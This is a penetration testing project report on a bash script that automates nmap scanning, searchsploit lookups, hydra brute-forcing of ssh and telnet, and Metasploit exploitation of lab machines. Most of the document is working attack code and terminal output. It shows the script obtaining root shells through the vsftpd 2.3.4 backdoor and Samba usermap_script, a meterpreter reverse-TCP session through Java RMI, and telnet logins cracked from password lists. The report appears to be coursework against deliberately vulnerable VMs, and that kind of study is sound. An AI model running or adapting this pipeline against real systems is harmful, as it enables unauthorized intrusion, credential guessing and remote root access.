Prepared by: Yeap Chun Keat, Aaron
ckyeap9310@gmail.com
21 October 2022

Penetration Testing Project- Vulner

Preamble

For this project, the script will scan two virtual machines, ubuntu for ports, services and potential vulnerabilities. Thereafter, it will proceed to brute force, exploit the potential vulnerabilities. Post exploitation will be done manually after successful exploitation.

Snapshot of ubuntu machine info:

IP Address: 192.168.142.139

IP Address: 192.168.142.142

Prepared by: Yeap Chun Keat, Aaron
ckyeap9310@gmail.com
21 October 2022

Step 1:

User will be asked to provide no of target to be scanned and provide target IP Address.

From script

```
read -p "How many IP Address/target would you like to scan? " n


for (( i=1 ; i<=$n ; i++));
do
read -p "Please provide No. $i IP Address: " IP
```

From terminal

```
How many IP Address/target would you like to scan? 2
Please provide No. 1 IP Address: 192.168.142.139
```

Step 2:

After that, the script will start to run nmap to obtain all open/filtered ports/services. The output result will save into xml file.

From script

```
function scan()
{
    echo "Starting to scan ..."
    nmap "$IP" -p- -sV -oX ./$IP/"$IP"nmap.xml
}
```

From terminal

```
┌──(kali㉿kali)-[~/pentestproject]
└─$ bash vulner.sh
How many IP address/targets do you want to scan? 2
Please provide no. 1 IP Address: 192.168.142.139
Starting to scan ...
Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-20 20:30 EDT
Nmap scan report for 192.168.142.139
Host is up (0.0026s latency).
Not shown: 65503 closed tcp ports (conn-refused)
PORT      STATE    SERVICE      VERSION
21/tcp    open     ftp          vsftpd 2.3.4
22/tcp    filtered ssh
23/tcp    filtered telnet
25/tcp    open     smtp         Postfix smtpd
53/tcp    open     domain       ISC BIND 9.4.2
80/tcp    filtered http
111/tcp   open     rpcbind      2 (RPC #100000)
139/tcp   open     netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
```

Prepared by: Yeap Chun Keat, Aaron
ckyeap9310@gmail.com
21 October 2022

Step 3:

The script will run version NSE category to extract more information.

From script

```
function NSE()
{
    echo "Starting to check NSE version ..."
    nmap "$IP" -p- -sV --script=version -oN ./$IP/"$IP"nmapversion.txt
}
```

From terminal

```
Starting to check NSE version ...
Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-20 21:28 EDT
Nmap scan report for 192.168.142.139
Host is up (0.0044s latency).
Not shown: 65503 closed tcp ports (conn-refused)
PORT      STATE    SERVICE      VERSION
21/tcp    open     ftp          vsftpd 2.3.4
22/tcp    filtered ssh
23/tcp    filtered telnet
25/tcp    open     smtp         Postfix smtpd
53/tcp    open     domain       ISC BIND 9.4.2
80/tcp    filtered http
111/tcp   open     rpcbind      2 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2            111/tcp   rpcbind
|   100000  2            111/udp   rpcbind
|   100003  2,3,4       2049/tcp   nfs
```

Step 4:

The script will search for potential vulnerabilities using nmap.xml file against exploit database using searchsploit command as below.

From script

```
function searchsploit1()
{
    echo "Starting Searchsploit ..."
    searchsploit -x --nmap ./$IP/"$IP"nmap.xml > ./$IP/"$IP"searchsploit.txt
}
```

From terminal

```
Starting Searchsploit ...
[i] SearchSploit's XML mode (without verbose enabled).   To enable: searchsploit -v --xml...
[i] Reading: './192.168.142.139/192.168.142.139nmap.xml'

[-] Skipping term: ftp   (Term is too general. Please re-search manually: /usr/bin/searchsploit -t ftp)

[i] /usr/bin/searchsploit -t vsftpd
[-] Skipping term: ssh   (Term is too general. Please re-search manually: /usr/bin/searchsploit -t ssh)
```

Prepared by: Yeap Chun Keat, Aaron
ckyeap9310@gmail.com
21 October 2022

Step 5:

For brute force to check against weak password, the script will run hydra against protocols like ssh or telnet if those ports are opened. If the ports are closed, it will be skipped.

Note: user will be required to provide list of users and passwords to be brute force in the same location as the vulner.sh. Please name the file as “user.txt” and “password.txt”.

After that it will proceed to run brute NSE category using nmap.

From script

```
function bruteforce()
{
    echo "Starting Brute Force ..."
    check=$(cat ./$IP/"$IP"nmap.txt | grep open | grep ssh | wc -l)
    if [ $check > 0 ]
    then
        hydra -L user.txt -P password.txt $IP ssh -vV > ./$IP/"$IP"hydrassh.txt
    fi

    check=$(cat ./$IP/"$IP"nmap.txt | grep open | grep telnet | wc -l)
    if [ $check > 0 ]
    then
        hydra -L user.txt -P password.txt $IP telnet -vV > ./$IP/"$IP"hydrassh.txt
    fi

    nmap "$IP" -p- -sV --script=brute -oN ./$IP/"$IP"nmapbrute.txt
}
```

From terminal

```
Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-20 23:01 EDT
Nmap scan report for 192.168.142.139
Host is up (0.0026s latency).
Not shown: 65503 closed tcp ports (conn-refused)
PORT      STATE    SERVICE      VERSION
21/tcp    open     ftp          vsftpd 2.3.4
| ftp-brute:
|   Accounts:
|     user:user - Valid credentials
|   Statistics: Performed 13 guesses in 13 seconds, average tps: 1.0
|_  ERROR: The service seems to have failed or is heavily firewalled...
22/tcp    filtered ssh
23/tcp    filtered telnet
25/tcp    open     smtp         Postfix smtpd
53/tcp    open     domain       ISC BIND 9.4.2
80/tcp    filtered http
111/tcp   open     rpcbind      2 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2            111/tcp   rpcbind
```

Step 6:

Once brute force process is done, it will prompt user to input second target/IP Address (if user input more than 1 target in Step 1). The process will start again from scanning to brute force.

Prepared by: Yeap Chun Keat, Aaron
ckyeap9310@gmail.com
21 October 2022

From script

```
function repeat()
{
    read -p "Do you still want to exploit on other IP Address? A) Yes B) Exit " ans
    case $ans in
    A)

        exploit

    ;;

    B)

        exit

    ;;
    esac
```

From terminal

```
Please provide No. 2 IP Address: 192.168.142.142
```

Step 7:

When all targets have gone through Step 1 to Step 5, then the script will start to ask user to select which protocol to exploit (in this script, I only automate 4 types of exploit, user can modifies to add in other exploits according to user's preference) with reference to the nmap result.

From script

```
function exploit()
{
    read -p "Please refer to nmap.txt, which protocol would you like to exploit? A) VSftpd 2.3.4 backdoor B) Telnet Login Access  C) Java RMI Server Default
    case $checker in
```

From terminal

```
Please refer to nmap.txt, which protocol would you like to exploit? A) VSftpd 2.3.4 backdoor B) Telnet Login Access  C) Java RMI Server Default Configuration D) Samba vers
ions 3.0.20 through 3.0.25rc3 E) Exit  : A
Please provide IP Address that you want to exploit : 192.168.142.139
```

Prepared by: Yeap Chun Keat, Aaron
ckyeap9310@gmail.com
21 October 2022

Step 8:

If user type exit 2 times (first time to exit the session or press ctr + z to background the session, the second exit is to exit from msfconsole), then user will be prompted whether to continue to try on other exploit or other IP Address. The process goes on until user select E option to exit the script.

```
rhosts => 192.168.142.139
resource (./192.168.142.139/vsftpd234_scriptest.rc)> run
[*] 192.168.142.139:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.142.139:21 - USER: 331 Please specify the password.
[+] 192.168.142.139:21 - Backdoor service has been spawned, handling...
[+] 192.168.142.139:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.142.129:37129 -> 192.168.142.139:6200) at 2022-10-20 23:39:55 -0400

pwd
/
whoami
root
exit
[*] 192.168.142.139 - Command shell session 1 closed.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exit
Do you still want to exploit on other IP Address? A) Yes B) Exit A
Please refer to 192.168.142.139nmap.txt, which protocol would you like to exploit? A) VSftpd 2.3.4 backdoor B) Telnet Login Access  C) Java RMI Server Default Configuratio
n D) Samba versions 3.0.20 through 3.0.25rc3 E) Exit  :
```

Appendix- Sample of exploits

Exploit using vsftpd as below.

From script

```
    A)
        read -p "Please provide IP Address that you want to exploit : " IP
        echo 'use exploit/unix/ftp/vsftpd_234_backdoor' > ./$IP/vsftpd234_scriptest.rc
        echo "set rhosts $IP" >> ./$IP/vsftpd234_scriptest.rc
        echo "run" >> ./$IP/vsftpd234_scriptest.rc
        msfconsole -r ./$IP/vsftpd234_scriptest.rc
        repeat
    ;;
```

From terminal

```
Metasploit tip: Use sessions -1 to interact with the
last opened session
Metasploit Documentation: https://docs.metasploit.com/

[*] Processing ./192.168.142.139/vsftpd234_scriptest.rc for ERB directives.
resource (./192.168.142.139/vsftpd234_scriptest.rc)> use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
resource (./192.168.142.139/vsftpd234_scriptest.rc)> set rhosts 192.168.142.139
rhosts => 192.168.142.139
resource (./192.168.142.139/vsftpd234_scriptest.rc)> run
[*] 192.168.142.139:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.142.139:21 - USER: 331 Please specify the password.
[+] 192.168.142.139:21 - Backdoor service has been spawned, handling...
[+] 192.168.142.139:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.142.129:37129 -> 192.168.142.139:6200) at 2022-10-20 23:39:55 -0400
```

Exploit using telnet as below.

From script

```
B)
    read -p "Please provide IP Address that you want to exploit : " IP
    echo 'use auxiliary/scanner/telnet/telnet_login' > ./$IP/telnet_scriptest.rc
    echo "set rhosts $IP" >> ./$IP/telnet_scriptest.rc
    echo "set pass_file password.txt" >> ./$IP/telnet_scriptest.rc
    echo "set user_file user.txt" >> ./$IP/telnet_scriptest.rc
    echo "run" >> ./$IP/telnet_scriptest.rc
    msfconsole -r ./$IP/telnet_scriptest.rc
    repeat
```

Prepared by: Yeap Chun Keat, Aaron
ckyeap9310@gmail.com
21 October 2022

From terminal

```
[-] 192.168.142.142:23    - 192.168.142.142:23 - LOGIN FAILED: kali:password1 (Incorrect: )
[-] 192.168.142.142:23    - 192.168.142.142:23 - LOGIN FAILED: kali:1234 (Incorrect: )
[-] 192.168.142.142:23    - 192.168.142.142:23 - LOGIN FAILED: kali:qwertyuiop (Incorrect: )
[-] 192.168.142.142:23    - 192.168.142.142:23 - LOGIN FAILED: kali:123321 (Incorrect: )
[-] 192.168.142.142:23    - 192.168.142.142:23 - LOGIN FAILED: kali:password123 (Incorrect: )
[-] 192.168.142.142:23    - 192.168.142.142:23 - LOGIN FAILED: kali:user (Incorrect: )
[+] 192.168.142.142:23    - 192.168.142.142:23 - Login Successful: ledeen:123123
[*] 192.168.142.142:23    - Attempting to start session 192.168.142.142:23 with ledeen:123123
[*] Command shell session 1 opened (192.168.142.129:36813 -> 192.168.142.142:23) at 2022-10-21 00:05:48 -0400
```

Exploit using Java RMI server configuration as below.

From script

```
C)
    read -p "Please provide IP Address that you want to exploit : " IP
    rport=$(cat ./$IP/"$IP"nmapbrute.txt | grep open | grep -w "java-rmi" | awk -F / '{print $1}')
    echo 'use exploit/multi/misc/java_rmi_server' > ./$IP/javarmi_scriptest.rc
    echo "set rhosts $IP" >> ./$IP/javarmi_scriptest.rc
    echo "set rport $rport" >> ./$IP/javarmi_scriptest.rc
    echo "run" >> ./$IP/javarmi_scriptest.rc
    msfconsole -r ./$IP/javarmi_scriptest.rc
    repeat
```

From terminal

```
Do you still want to exploit on other IP Address? A) Yes B) Exit A
Please refer to nmap.txt, which protocol would you like to exploit? A) VSftpd 2.3.4 backdoor B) Telnet Login Access  C) Java RMI Server Default Configuration D) Samba vers
ions 3.0.20 through 3.0.25rc3 E) Exit  : C
Please provide IP Address that you want to exploit : 192.168.142.139
```

```
[*] Processing ./192.168.142.139/javarmi_scriptest.rc for ERB directives.
resource (./192.168.142.139/javarmi_scriptest.rc)> use exploit/multi/misc/java_rmi_server
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
resource (./192.168.142.139/javarmi_scriptest.rc)> set rhosts 192.168.142.139
rhosts => 192.168.142.139
resource (./192.168.142.139/javarmi_scriptest.rc)> set rport 1099
rport => 1099
resource (./192.168.142.139/javarmi_scriptest.rc)> 36516
[-] Unknown command: 36516
resource (./192.168.142.139/javarmi_scriptest.rc)> run
[*] Started reverse TCP handler on 192.168.142.129:4444
[*] 192.168.142.139:1099 - Using URL: http://192.168.142.129:8080/saXvA7tOj
[*] 192.168.142.139:1099 - Server started.
[*] 192.168.142.139:1099 - Sending RMI Header...
[*] 192.168.142.139:1099 - Sending RMI Call...
[*] 192.168.142.139:1099 - Replied to request for payload JAR
[*] Sending stage (58829 bytes) to 192.168.142.139
[*] Meterpreter session 1 opened (192.168.142.129:4444 -> 192.168.142.139:57253) at 2022-10-21 00:14:02 -0400

meterpreter >
```

Exploit using Samba versions 3.0.20 through 3.0.25rc3 as below.

From script

```
D)
    read -p "Please provide IP Address that you want to exploit : " IP
    rport=$(cat ./$IP/"$IP"nmapbrute.txt | grep open | grep -w "Samba smbd" | awk -F / '{print $1}')
    echo 'exploit/multi/samba/usermap_script' > ./$IP/samba_scriptest.rc
    echo "set rhosts $IP" >> ./$IP/samba_scriptest.rc
    echo "set rport $rport" >> ./$IP/samba_scriptest.rc
    echo "run" >> ./$IP/samba_scriptest.rc
    msfconsole -r ./$IP/samba_scriptest.rc
    repeat
```

Prepared by: Yeap Chun Keat, Aaron
ckyeap9310@gmail.com
21 October 2022

From terminal

```
Please refer to nmap.txt, which protocol would you like to exploit? A) VSftpd 2.3.4 backdoor B) Telnet Login Access  C) Java RMI Server Default Configuration D) Samba vers
ions 3.0.20 through 3.0.25rc3 E) Exit  : D
Please provide IP Address that you want to exploit : 192.168.142.139
```

```
Metasploit Documentation: https://docs.metasploit.com/

[*] Processing ./192.168.142.139/samba_scriptest.rc for ERB directives.
resource (./192.168.142.139/samba_scriptest.rc)> exploit/multi/samba/usermap_script
[-] Unknown command: exploit/multi/samba/usermap_script
This is a module we can load. Do you want to use exploit/multi/samba/usermap_script? [y/N]   y
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
resource (./192.168.142.139/samba_scriptest.rc)> set rhosts 192.168.142.139
rhosts => 192.168.142.139
resource (./192.168.142.139/samba_scriptest.rc)> set rport 139
rport => 139
resource (./192.168.142.139/samba_scriptest.rc)> run

[*] Started reverse TCP handler on 192.168.142.129:4444
[*] Command shell session 1 opened (192.168.142.129:4444 -> 192.168.142.139:50000) at 2022-10-21 00:18:22 -0400

whoami
root
pwd
/
```